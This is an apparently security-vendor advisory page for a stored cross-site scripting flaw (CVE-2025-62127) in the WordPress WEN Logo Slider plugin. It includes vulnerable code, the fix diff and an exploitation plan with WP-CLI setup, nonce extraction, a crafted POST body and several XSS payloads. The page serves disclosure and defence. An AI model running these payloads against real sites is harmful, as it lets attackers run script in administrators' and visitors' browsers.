WEN Logo Slider <= 3.4.0 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The WEN Logo Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.4.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.5
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2025-62127 (WEN Logo Slider) ## 1. Vulnerability Summary The **WEN Logo Slider** plugin for WordPress is vulnerable to **Stored Cross-Site Scripting (XSS)** in versions up to and including 3.4.0. The vulnerability exists because the plugin fails to properly saniti…
Show full research plan
Exploitation Research Plan - CVE-2025-62127 (WEN Logo Slider)
1. Vulnerability Summary
The WEN Logo Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) in versions up to and including 3.4.0. The vulnerability exists because the plugin fails to properly sanitize and escape slide metadata (specifically the slide title and potentially URLs) when rendering the slider on the frontend. This allows an authenticated attacker with Author level permissions or higher to inject malicious JavaScript into a slider, which then executes in the browser of any user (including administrators) who visits a page where the slider is displayed.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(used to update thelogo_slidercustom post type). - Vulnerable Parameters:
slide_title[]and potentiallyslide_url[](thoughslide_urlis passed throughesc_urlin the admin view, it may be rendered differently on the frontend). - Authentication: Required (Author role or higher).
- Preconditions: The attacker must be able to create or edit a post of type
logo_slider. - Nonce Protection: The plugin uses a nonce field named
ws_logo_slider_slides_nonce_fieldwith the actionws_logo_slider_slides_nonce_actionfor verifying the slider's metadata updates.
3. Code Flow
- Entry Point: The attacker navigates to the editor for a
logo_sliderpost (or creates a new one). - Processing: Upon saving the post, WordPress triggers the saving logic for the custom post type.
- Storage: The plugin (likely in a
save_posthook, though the specific save function was truncated in the source) iterates through the$_POSTarrays forslide_title[],slide_url[], etc., and stores them as an array in the post meta key_wls_slides.- Reference:
admin/partials/wen-logo-slider-slides.phpshows$slides = get_post_meta( $post->ID, '_wls_slides', true );.
- Reference:
- Sink (Frontend): When the slider is rendered on a public page (typically via a shortcode like
[wen_logo_slider]), the plugin retrieves the_wls_slidesmeta and echoes thetitlefield without sufficient escaping (e.g., usingecho $slide['title']instead ofecho esc_html($slide['title'])).
4. Nonce Acquisition Strategy
To update a slider, the attacker needs a valid nonce for the ws_logo_slider_slides_nonce_action.
- Create a Slider: Use WP-CLI to create a slider post so we have an ID to work with.
wp post create --post_type=logo_slider --post_title="Malicious Slider" --post_status=publish --post_author=[AUTHOR_ID] - Navigate to Editor: Use the
browser_navigatetool to go to the edit page for that post:/wp-admin/post.php?post=[POST_ID]&action=edit. - Extract Nonce: Use
browser_evalto extract the nonce value from the hidden input field.- JavaScript Variable:
document.getElementById("ws_logo_slider_slides_nonce_field").value
- JavaScript Variable:
5. Exploitation Strategy
- Authentication: Log in as a user with the Author role.
- Setup Post: Create a
logo_sliderpost (if not already done). - Obtain Nonce: Extract
ws_logo_slider_slides_nonce_fieldfrom the edit page. - Inject Payload: Submit an HTTP POST request to
wp-admin/post.phpto update the slider metadata with a malicious title.- URL:
https://[TARGET]/wp-admin/post.php - Method:
POST - Body (URL-encoded):
action=editpost post_ID=[POST_ID] ws_logo_slider_slides_nonce_field=[NONCE] _wp_http_referer=/wp-admin/post.php?post=[POST_ID]&action=edit slide_title[]=<img src=x onerror=alert(document.domain)> slide_url[]=# slide_image_id[]=0 slide_new_window[]=no save=Update
- URL:
- Trigger Execution:
- Identify the shortcode. It is typically
[wen_logo_slider id="[POST_ID]"]. - Create a public page/post containing this shortcode.
- Navigate to this page as an Administrator to trigger the XSS.
- Identify the shortcode. It is typically
6. Test Data Setup
- User: Create an Author user.
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Slider Post: Create a
logo_sliderpost owned by the Author.POST_ID=$(wp post create --post_type=logo_slider --post_title="Exploit Slider" --post_status=publish --post_author=$(wp user get attacker --field=ID) --parsable) - Public Page: Create a page to host the slider.
wp post create --post_type=page --post_title="Slider Showcase" --post_content="[wen_logo_slider id='$POST_ID']" --post_status=publish
7. Expected Results
- The
POSTrequest topost.phpshould return a302 Redirectback to the editor, indicating success. - When the "Slider Showcase" page is viewed, the browser should execute
alert(document.domain).
8. Verification Steps
- Check Database Meta: Verify the payload is stored correctly in the database.
Look for thewp post meta get [POST_ID] _wls_slides<img src=x ...>string in the serialized array. - Check Frontend Output: Use the
http_requesttool to fetch the HTML of the "Slider Showcase" page and grep for the unescaped payload.# Expected unescaped output in the HTML source: <... alt="<img src=x onerror=alert(document.domain)>" ...> # OR <div class="caption"><img src=x onerror=alert(document.domain)></div>
9. Alternative Approaches
- Payload Variations: If the payload is reflected inside a HTML attribute (like
altortitle), use:" onmouseover="alert(1)"or"><script>alert(1)</script>. - Shortcode Discovery: If the standard shortcode
[wen_logo_slider id="..."]fails, check the plugin'spublic/class-wen-logo-slider-public.php(if available) orreadme.txtfor the correct shortcode syntax. Based on the README, the plugin "Multiple slideshows" feature implies theidorpost_idattribute is required. - Other Fields: If
slide_titleis sanitized, tryslide_urlwith ajavascript:alert(1)payload, as the admin side usesesc_urlbut the frontend might use a raw output or fail to validate the protocol.
Summary
The WEN Logo Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to insufficient input sanitization and output escaping of slide metadata, particularly the slide title. Authenticated attackers with Author-level permissions or higher can inject malicious JavaScript into a slider, which executes when an administrator or visitor views the slider on the site or within the WordPress dashboard.
Vulnerable Code
// admin/class-wen-logo-slider-admin.php @ 3.4.0 (Saving Logic - line 437) foreach ( $slide_title_array as $key => $title ) { $slides_array[] = array( 'title' => $title, 'url' => $_POST['slide_url'][$key], 'slide_image_id' => $_POST['slide_image_id'][$key], 'slide_new_window' => $_POST['slide_new_window'][$key], ); } // ... update_post_meta( $post_id, '_wls_slides', $slides_array ); --- // admin/class-wen-logo-slider-admin.php @ 3.4.0 (Admin Column Sink - line 461) function usage_column_content( $column_name, $post_id ){ switch ( $column_name ) { case 'id': echo $post_id; break; case 'usage': echo '<code>[WLS id="' . $post_id . '"]</code>'; break; case 'slides': // ... if( !empty( $slides ) ){ $img_id = $slides[0]['slide_image_id']; $src = wp_get_attachment_thumb_url( $img_id ); echo '<img src="'.$src.'" height="100" alt="'.$slides[0]['title'].'" title="'.$slides[0]['title'].'">'; } break;
Security Fix
@@ -341,17 +340,26 @@ function usage_box_callback( $post ){ ?> - <h4><?php _e( 'Shortcode', 'wen-logo-slider' ); ?></h4> - <p><?php _e( 'Copy and paste this shortcode directly into any WordPress post or page.', 'wen-logo-slider' ); ?></p> - <input type="text" class="large-text code" readonly="readonly" value='<?php echo '[WLS id="'.$post->ID.'"]'; ?>' /> - - <h4><?php _e( 'Template Include', 'wen-logo-slider' ); ?></h4> - <p><?php _e( 'Copy and paste this code into a template file to include the slider within your theme.', 'wen-logo-slider' ); ?></p> - <input type="text" class="large-text code" readonly="readonly" value="<?php echo do_shortcode("[WLS id='<?php echo $post->ID; ?>']"); ?>" /> + <h4><?php esc_html_e( 'Shortcode', 'wen-logo-slider' ); ?></h4> + <p><?php esc_html_e( 'Copy and paste this shortcode directly into any WordPress post or page.', 'wen-logo-slider' ); ?></p> + <input + type="text" + class="large-text code" + readonly="readonly" + value="<?php echo esc_attr( '[WLS id="' . $post->ID . '"]' ); ?>" + /> + <h4><?php esc_html_e( 'Template Include', 'wen-logo-slider' ); ?></h4> + <p><?php esc_html_e( 'Copy and paste this code into a template file to include the slider within your theme.', 'wen-logo-slider' ); ?></p> + <input + type="text" + class="large-text code" + readonly="readonly" + value="<?php echo esc_attr( '<?php echo do_shortcode("[WLS id=\'' . $post->ID . '\']"); ?>' ); ?>" + /> <?php } @@ -463,11 +471,11 @@ function usage_column_content( $column_name, $post_id ){ switch ( $column_name ) { case 'id': - echo $post_id; + echo esc_html( $post_id ); break; case 'usage': - echo '<code>[WLS id="' . $post_id . '"]</code>'; + echo '<code>' . esc_html( '[WLS id="' . $post_id . '"]' ) . '</code>'; break; case 'slides': @@ -479,10 +487,11 @@ if( !empty( $slides ) ){ $img_id = $slides[0]['slide_image_id']; $src = wp_get_attachment_thumb_url( $img_id ); - - echo '<img src="'.$src.'" height="100" alt="'.$slides[0]['title'].'" title="'.$slides[0]['title'].'">'; - } - break; + $title = isset( $slides[0]['title'] ) ? $slides[0]['title'] : ''; + + echo '<img src="' . esc_url( $src ) . '" height="100" alt="' . esc_attr( $title ) . '" title="' . esc_attr( $title ) . '">'; + } + break;
Exploit Outline
1. Authentication: Log in to the target WordPress site with an account having at least Author-level permissions. 2. Nonce Retrieval: Access the slider editor for a 'logo_slider' custom post type and capture the 'ws_logo_slider_slides_nonce_field' value. 3. Payload Injection: Send an HTTP POST request to /wp-admin/post.php with 'action=editpost' and the captured nonce. In the 'slide_title[]' parameter, provide an XSS payload such as <img src=x onerror=alert(document.domain)>. 4. Execution (Admin): Navigate to the 'Logo Slider' listing page in the dashboard. The payload will execute in the context of the administrator's session due to the unescaped rendering in the admin column. 5. Execution (Frontend): Embed the slider's shortcode [WLS id="POST_ID"] into a public page. When any user visits that page, the script will execute in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.